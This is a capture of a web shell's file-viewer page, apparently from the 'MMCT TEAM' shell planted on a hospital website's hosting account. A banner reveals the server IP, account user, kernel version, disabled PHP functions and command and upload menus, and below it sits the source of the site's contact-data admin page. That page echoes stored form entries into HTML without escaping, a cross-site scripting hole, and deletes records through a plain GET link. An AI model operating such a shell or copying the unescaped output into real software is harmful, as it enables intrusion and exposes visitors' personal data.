MMCT TEAM
Server IP : 82.197.83.136  /  Your IP : 216.73.216.82
Web Server : LiteSpeed
System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u163988420 ( 163988420)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0755) :  /home/u163988420/domains/brshastrihospital.com/public_html/AACSITE/br-admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u163988420/domains/brshastrihospital.com/public_html/AACSITE/br-admin/contactdata.php
<?php include 'header.php'; ?> 
<div class="content-wrapper">
  <!-- START PAGE CONTENT-->
  <div class="page-heading">
    <h1 class="page-title">CONTACT DATA</h1>
    <ol class="breadcrumb">
      <li class="breadcrumb-item">
        <a href="index.html">
          <i class="la la-home font-20"></i>
        </a>
      </li>
    </ol>
  </div>
  <div class="page-content fade-in-up">
    <div class="row">
      <div class="col-md-12">
        <div class="ibox">
          <div class="ibox-head">
            <div class="ibox-title">Table</div>
          </div>
          <div class="ibox-body">

            <div class="tab-content">
              <div class="tab-pane fade show active" id="tab-7-1">
                 <div class="ibox">
                  <div class="ibox-head">
                  </div>
                  <div class="ibox-body">
                    <div class="table-responsive">
                      <table class="table">
                        <thead>
                          <tr>
                            <th width="50px"></th>
                            <th>Name</th>
                            <th>Email</th>
                            <th>Contact No</th>
                            <th>Subject</th>
                            <th>Message</th>
                            <th>Actions</th>
                          </tr>
                        </thead>
                        <tbody>
                        <?php

                          $sel = "SELECT * FROM  contact_form"; 
                          $res = mysqli_query($con,$sel);
                          $i=1;
                          while($r = mysqli_fetch_array($res))
                            {
                               echo "
                                  <tr>
                                    <td>$i</td>
                                    <td>$r[1]</td>
                                    <td>$r[2]</td>
                                    <td>$r[3]</td>
                                    <td>$r[4]</td>
                                    <td>$r[5]</td>

                                    <td>
                                      <a href='delete.php?contact=$r[0]'>
                                        <button class='btn btn-default btn-xs' data-toggle='tooltip' data-original-title='Delete'>
                                          <i class='fa fa-trash font-14'></i>
                                        </button>
                                      </a>
                                    </td>
                                  </tr>
             ";
             $i++;
           }
           ?> </tbody>
                      </table>
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
</div> <?php include 'footer.php'; ?>

MMCT - 2023